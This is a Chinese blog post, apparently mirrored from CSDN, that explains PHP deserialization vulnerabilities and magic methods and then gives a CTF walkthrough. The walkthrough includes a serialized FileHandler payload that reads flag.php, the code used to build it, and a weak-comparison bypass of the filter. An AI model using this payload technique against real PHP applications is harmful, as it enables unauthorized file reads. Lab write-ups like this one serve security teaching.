当前位置: 首页 > news >正文

web漏洞-PHP反序列化

目录

  • PHP反序列化
    • 序列化
    • 反序列化
    • 原理
    • 涉及技术
    • 利用
    • 危害
    • CTF靶场

PHP反序列化

序列化

将对象转换成字符串

反序列化

相反,将字符串转换成对象。

数据格式的转换对象的序列化有利于对象的保存和传输,也可以让多个文件共享对象。

原理

未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。

serialize() //将一个对象转换成一个字符串

unserialize() //将字符串还原成一个对象

image-20231003194425283

//例如:
//无类,序列化和反序列化
<?php$key="rumilc";
echo serialize($key);echo "</br>";
$key2 = 's:6:"rumilc";';
echo unserialize($key2);

image-20231003201350953

涉及技术

有类和无类

有类和无类区别:有无class定义

基本概念

有类:触发魔术方法

魔术方法具体参考

触发:
unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
......

image-20231003194540134

利用

真实应用下

CTF中常见

危害

SQL注入

目录遍历

代码执行

CTF靶场

题目地址

image-20231003201933892

进入环境:

image-20231003201958395

给了php代码,进行分析

根据题目以及代码,向下发现了unserialize

思路:
第一:获取flag存储flag.php
第二:两个魔术方法__destruct和 __construct
第三:传输str参数数据后触发destruct,存在is_valid过滤
第四:__destruct中会调用process,其中op=1写入及op=2读取
第五:涉及对象FileHandler,变量op及filename,content,进行构造输出

image-20231003202509676

image-20231003202718707

进行构造,序列化处理:

<?php
class FileHandler
{public $op = '2.0'; //源码观察发现,op为1时候是执行写入,为2时执行读//使用 ' 2'也可以绕过op的值public $filename="flag.php"; //文件开头调用的是flag.phppublic $content; //可以不用写,或者任意
}
$flag = new FileHandler();
echo serialize($flag);
?>

执行完成后,得到:

O:11:“FileHandler”:3:{s:2:“op”;s:3:“2.0”;s:8:“filename”;s:8:“flag.php”;s:7:“content”;N;}

image-20231003202816043

将此作为参数值,赋值给str进行请求

发现有返回,查看源码

image-20231003202938404

源码当中:

得到答案

image-20231003203006999

$FLAG = "ctfhub{2edb689c4de533b460e6c2af}";

还可以将其还原成对象:

<?php$key = 'O:11:"FileHandler":3:{s:2:"op";s:3:"2.0";s:8:"filename";s:8:"flag.php";s:7:"content";N;}';var_dump(unserialize($key));
?>

image-20231003210220260还原的对象结果:

object(__PHP_Incomplete_Class)#1 (4) {["__PHP_Incomplete_Class_Name"]=>string(11) "FileHandler"["op"]=>string(3) "2.0"["filename"]=>string(8) "flag.php"["content"]=>NULL
}

反序列化魔术方法调用,弱类型绕过,ascii绕过

== :弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。

=== :强等于。在比较前会先判断两种字符串类型是否相同再进行比较,如果类型不同直接返回不相等。既比较值也比较类型。

使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。

__destruct函数对$this->op进行了===判断并内容在2字符串时会赋值为1,

process函数中使用==对$this->op进行判断(为2的情况下才能读取内容),

因此这里存在弱类型比较,可以使用数字2或字符串’ 2’绕过判断。

is_valid函数还对序列化字符串进行了校验,因为成员被protected修饰,

因此序列化字符串中会出现ascii为0的字符。经过测试,在PHP7.2+的环境中,

使用public修饰成员并序列化,反序列化后成员也会被public覆盖修饰。

相关文章:

web漏洞-PHP反序列化

目录 PHP反序列化序列化反序列化原理涉及技术利用危害CTF靶场 PHP反序列化 序列化 将对象转换成字符串 反序列化 相反&#xff0c;将字符串转换成对象。 数据格式的转换对象的序列化有利于对象的保存和传输&#xff0c;也可以让多个文件共享对象。 原理 未对用户输入的序列化字…...

Redis-分布式锁

分布式锁相关内容 超卖问题切入可以使用互斥锁给先获取到锁的线程加锁吗&#xff1f;使用redis分布式锁解决超卖问题setnx命令实现分布式锁为什么需要设置过期时间&#xff1f;Redis实现分布式锁如何合理控制锁的有效时长 redisson实现分布式锁 超卖问题切入 我们先来看一个项目…...

什么时候使用继承,好莱坞原则(设计模式与开发实践 P11+)

文章目录 好莱坞原则真的需要继承吗&#xff1f; 好莱坞原则 如果你熟悉继承方法、乃至模板方法模式后&#xff0c;就可以了解一个设计原则 好莱坞原则 新人演员把简历发给好莱坞&#xff0c;许久之后没有回应不耐烦打电话给好莱坞&#xff0c;只收到回应&#xff1a;不要来找…...

蓝桥等考Python组别十四级001

第一部分&#xff1a;选择题 1、Python L14 &#xff08;15分&#xff09; 运行下面程序&#xff0c;输出的结果是&#xff08; &#xff09;。 d {A: 501, B: 602, C: 703, D: 804} print(d[B]) 501602703804 正确答案&#xff1a;B 2、Python L14 &#xff08;15分…...

TI单芯片毫米波雷达代码走读(二十七)—— 角度维(3D)处理之通道间幅相一致性补偿

TI单芯片毫米波雷达1642代码走读(〇)——总纲 书接上回,我们知晓了3D处理的主要流程,相信大家都已理解基本的原理。在正式进行数据分析之前还有一步关键的步骤需要说明,即通道间的幅相一致性补偿问题。 细心的朋友可能注意到,在3D处理的的原码中有两个函数我一直没有讲:…...

数据结构 2.2 单循环链表

2.单循环链表 data|next——>data|next——>data|next——>头节点 1.初始化链表 2.增加节点&#xff08;头插法、尾插法&#xff09; 3.删除节点 4.遍历链表 定义一个结构体&#xff0c;存放data域和指针域&#xff1a; typedef struct Node {//定义一个结构体&…...

矩阵距离——多源BFS

给定一个 N 行 M 列的 01 矩阵 A&#xff0c;A[i][j] 与 A[k][l] 之间的曼哈顿距离定义为&#xff1a; dist(A[i][j],A[k][l])|i−k||j−l| 输出一个 N 行 M 列的整数矩阵 B&#xff0c;其中&#xff1a;B[i][j]min1≤x≤N,1≤y≤M,A[x][y]1dist(A[i][j],A[x][y]) 输入格式 第…...

关于在 Notion 中使用 Markdown 语法

关于在 Notion 中使用 Markdown 语法 习惯使用的 Markdown 的伙伴们应该知道&#xff0c;当需要加粗字体时&#xff0c;会首先输入 ** **&#xff0c;然后在里面填内容。 但是在 Notion 中&#xff0c;这个就不太行了。它所定义的规则是从前往后&#xff0c;也就是先键入**&…...

sigmoid和softmax函数有什么区别

Sigmoid函数和Softmax函数都是常用的激活函数&#xff0c;但它们的主要区别在于应用场景和输出结果的性质。 Sigmoid函数&#xff08;也称为 Logistic函数&#xff09;&#xff1a; Sigmoid函数将输入值映射到0到1之间的连续实数范围&#xff0c;通常用于二元分类问题。 Si…...

第五章:最新版零基础学习 PYTHON 教程—Python 字符串操作指南(第七节 - Python 中使用 % 进行字符串格式化)

在Python中,可以通过不同的方法来实现对字符串所需的格式化。他们之中有一些是; 1) 使用 % 2) 使用 {} 3)使用模板字符串本文讨论使用 % 进行格式化。使用 % 的格式类似于 C 编程语言中的“printf”。%d – 整数 %f – 浮点数 %s – 字符串 %x – 十六进制 %o – 八进制 下面的…...

【网络安全 --- 工具安装】VMware 16.0 详细安装过程(提供资源)

一&#xff0c;VMware下载地址&#xff1a; 百度网盘链接链接&#xff1a;百度网盘 请输入提取码百度网盘为您提供文件的网络备份、同步和分享服务。空间大、速度快、安全稳固&#xff0c;支持教育网加速&#xff0c;支持手机端。注册使用百度网盘即可享受免费存储空间https:/…...

Eclipse MAT解析headp dump,total size小于file size

1. 问题描述 使用Eclipse MAT分析20GB的heap dump文件 最后解析出来dump size只有1GB 2. 原因&#xff1a;heap dump中包含许多unreachable objects Eclipse MAT的官方文档&#xff0c;《Basic Tutorial》章节&#xff0c;有对上图的Overview page做介绍 针对total size小…...

【数据挖掘】2022年 Quiz 1-3 整理 带答案

目录 Quiz 1Quiz 2Quiz 3Quiz 1 Problem 1 (50%). Consider the set of training data shown below. Here, A, B, C C C are attributes, and D D...

AcWing 288. 休息时间,《算法竞赛进阶指南》,环形与后效性处理

288. 休息时间 - AcWing题库 在某个星球上&#xff0c;一天由 N 个小时构成&#xff0c;我们称 0 点到 1 点为第 1 个小时、1 点到 2 点为第 2 个小时&#xff0c;以此类推。 在第 i 个小时睡觉能够恢复 Ui 点体力。 在这个星球上住着一头牛&#xff0c;它每天要休息 B 个小…...

一文掌握Linux系统信息查看命令(CPU、内存、进程、网口、磁盘、硬件)

引言 大家好&#xff0c;欢迎来到我的技术博客&#xff01;如果你是一名Linux系统管理员、开发者或者热衷于学习Linux系统的用户&#xff0c;那么你一定需要掌握查看系统信息的命令。在这篇博客中&#xff0c;我将为你介绍一些常用的Linux命令&#xff0c;帮助你快速了解和监控…...

UE5.1编辑器拓展【三、脚本化资产行为,删除无引用资产】

目录 需要考虑的问题 重定向的修复函数 代码&#xff1a; 删除无引用资产 代码 需要添加的头文件和模块 在我们删除资产的时候&#xff0c;会发现&#xff0c;有些资产在删除的时候会出现有被什么什么引用&#xff0c;还有的是没有被引用。 而我们如果直接选择一片去进行…...

防抖和节流的实现

防抖和节流的实现 什么是防抖和节流实现防抖和节流防抖节流 防抖和节流的应用场景 什么是防抖和节流 防抖和节流是前端开发中常用的两种性能优化技术。 为什么需要防抖和节流呢&#xff1f; 两者目的都是为了防止某个时间段内操作频繁触发&#xff0c;造成性能消耗。 防抖&…...

alsa pcm接口之阻塞和非阻塞打开和异步通知模式

阻塞和非阻塞打开(Blocked and non-blocked open) 当设备打开在一个阻塞或非阻塞模式,ALSA pcm api接口使用不同的行为&#xff0c;模式可以指定通过mode参数通过snd_pcm_open函数,blocked mode阻塞模式是默认打开方式,在这个模式下,行为表现为当资源被其他应用程序使用,应该阻…...

Python Random模块详解

Random模块详解 随机数 random模块 randint(a, b) 返回[a, b]之间的整数randrange ([start,] stop [,step]) 从指定范围内&#xff0c;按指定基数递增的集合中获取一个随机数&#xff0c;基数 缺省值为1。random.randrange(1,7,2)choice(seq) 从非空序列的元素中随机挑选一个…...

Vue3 模糊搜索筛选

Vue3 模糊搜索筛选 环境&#xff1a; vue3 tselement plus 目标&#xff1a; 输入框输入内容&#xff0c;对展示的列表进行模糊搜索筛选匹配的内容。 代码如下&#xff1a; <div style"margin-top: 50px"><el-input v-model"valueInput" size&…...

【MVC】C# MVC基础知识点、原理以及容器和管道

给自己一个目标&#xff0c;然后坚持一段时间&#xff0c;总会有收获和感悟&#xff01; 国庆假期马上结束&#xff0c;闲暇时间&#xff0c;重温一遍C#关于MVC的技术&#xff0c;控制器、视图、模型&#xff0c;知识点和原理&#xff0c;小伙伴们还记得吗 目录 一、MVC知识点1…...

【kubernetes】基于prometheus的监控

目录 1 监控解决方案2 prometheus2.1 容器监控2.2 节点监控2.3 资源对象监控2.4 metrics--server 3 prometheus-operator vs kube-prometheus vs helm3.1 prometheus-operator3.2 kube-prometheus3.3 helm 参考文档 1 监控解决方案 从实现方案来说&#xff0c;监控分为3个部分…...

Gmail 将停止支持基本 HTML 视图

根据 Google 支持文档的更新内容&#xff0c;Gmail 将从明年 1 月起停止支持基本 HTML 视图。 ▲ Gmai 基本 HTML 视图界面 目前网页版 Gmail 提供两个界面&#xff1a;基本 HTML 视图和标准视图。停止支持基本 HTML 视图后&#xff0c;当前打开经典模式的基本 HTML 视图模式 …...

电影大师杂记

假期集中刷了好多书&#xff0c;游戏和电影&#xff0c;在虚拟世界里猛烈的各种闲逛&#xff0c;cyberpunk 2077到blade runner&#xff0c;到异形&#xff0c;到终结者&#xff0c;到星球大战&环太平洋&#xff0c;到工业光魔&#xff0c;还有各种编程的书。。。 hmmm&…...

聊聊分布式架构——RPC通信原理

目录 RPC通信的基本原理 RPC结构 手撸简陋版RPC 知识点梳理 1.Socket套接字通信机制 2.通信过程的序列化与反序列化 3.动态代理 4.反射 思维流程梳理 码起来 服务端时序图 服务端—Api与Provider模块 客户端时序图 RPC通信的基本原理 RPC&#xff08;Remote Proc…...

Android:实现手机前后摄像头预览同开

效果展示 一.概述 本博文讲解如何实现手机前后两颗摄像头同时预览并显示 我之前博文《OpenGLES&#xff1a;GLSurfaceView实现Android Camera预览》对单颗摄像头预览做过详细讲解&#xff0c;而前后双摄实现原理其实也并不复杂&#xff0c;粗糙点说就是把单摄像头预览流程写两…...

2.2.4 yocto poky openembedded bitbake关系

一 基本概念 The Yocto Project is an open-source project that delivers a set of tools that create operating system images for embedded Linux systems. Poky is the reference operating system distribution built with Yocto Project tools, and OpenEmbedded is a …...

开源后台管理系统 (go-vue-admin)

go-vue-admin 是一套基于go语言开源的后台管理系统。功能参考诺依网站 &#xff0c;前后端分离。 简介 前端采用vue3、Element Plus 、RuoYi-Vue3后端采用gofrome 框架、mysql、redis、Jwt实现了一键生成前后端代码&#xff0c;高效开发。 内置功能 用户管理&#xff1a;用…...

想升级macOS Big Sur,但是MacBook内存空间不够该怎么办?

随着使用时间的增长&#xff0c;我们会发现Mac电脑的存储空间越来越少&#xff0c;这时候我们就需要对Mac电脑进行清理&#xff0c;以释放更多的存储空间。那么&#xff0c;Mac空间不足怎么解决呢&#xff1f; 1.清理垃圾文件 Mac空间不足怎么解决&#xff1f;首先要做的就是清…...

结构化面试 --- 介绍 + 人际关系

目录 一、介绍 1、认识考试 2、认识考官 3、认识对手 4、认识考场 5、认识规则 6、如何备考 二、人际关系 练习题 第一题&#xff08;换岗&#xff09; 第二题&#xff08;办法&#xff09; 第三题&#xff08;相处&#xff09; 第四题 第五题 第六题 …...

南昌手机网站建设/如何优化推广中的关键词

Spring 请求参数类型转换解析&#xff08;DateTimeFormat 、自定义Convert&#xff09; 在上节 Spring 之请求参数解析原理 中有说到关于参数的类型转换是依靠 WebDataBinder&#xff08;数据绑定器&#xff0c;进行数据绑定的工作&#xff09;中的 conversionService&#xf…...

有没有做链接的网站吗/希爱力双效片副作用

131231转载于:https://www.cnblogs.com/ZHONGZHENHUA/p/7446746.html...

昆明网站建设哪个好/金华seo

上一篇简单的介绍了TDF提供的一些Block&#xff0c;通过对这些Block配置和组合&#xff0c;可以满足很多的数据处理的场景。这一篇将继续介绍与这些Block配置的相关类&#xff0c;和挖掘一些高级功能。 在一些Block的构造函数中&#xff0c;我们常常可以看见需要你输入Dataflow…...

网站与域名/免费正规大数据查询平台

notepad 简直是开源之耻辱&#xff0c;而且作为一个程序员竟然夹杂着政治。 不知道是不是收钱了。而且恶心的是作者把默认的中文语言包弄的有问题&#xff0c;还需要自己调整才可以使用简体中文(也不知道是不是故意的) 只能说你写代码多牛&#xff0c;你格局小了啊 于是我赶…...

独立商城系统网站建设等服务/申请自媒体平台注册

一&#xff0c;下载 1.官网为&#xff1a;http://www.mongodb.org/&#xff1b;下载安装程序的地址为&#xff1a;http://www.mongodb.org/downloads,选择选择的是Windows 版本。 2.下载MongoDB For .net 驱动开发包&#xff0c;官方的c#driver位于driver菜单下&#xff0c;地址…...

南沙电子商务网站建设/2023上海又出现疫情了

使用SQL语句进行查询 在实际生产中&#xff0c;各种业务逻辑&#xff0c;model不能很好的满足需求&#xff0c;所以就可以使用原生的sql。当然&#xff0c;如果你对sql比较熟悉&#xff0c;你会发现orm有时候没有原生sql来的灵活&#xff0c;下面介绍beego的原生sql。 使用 Raw…...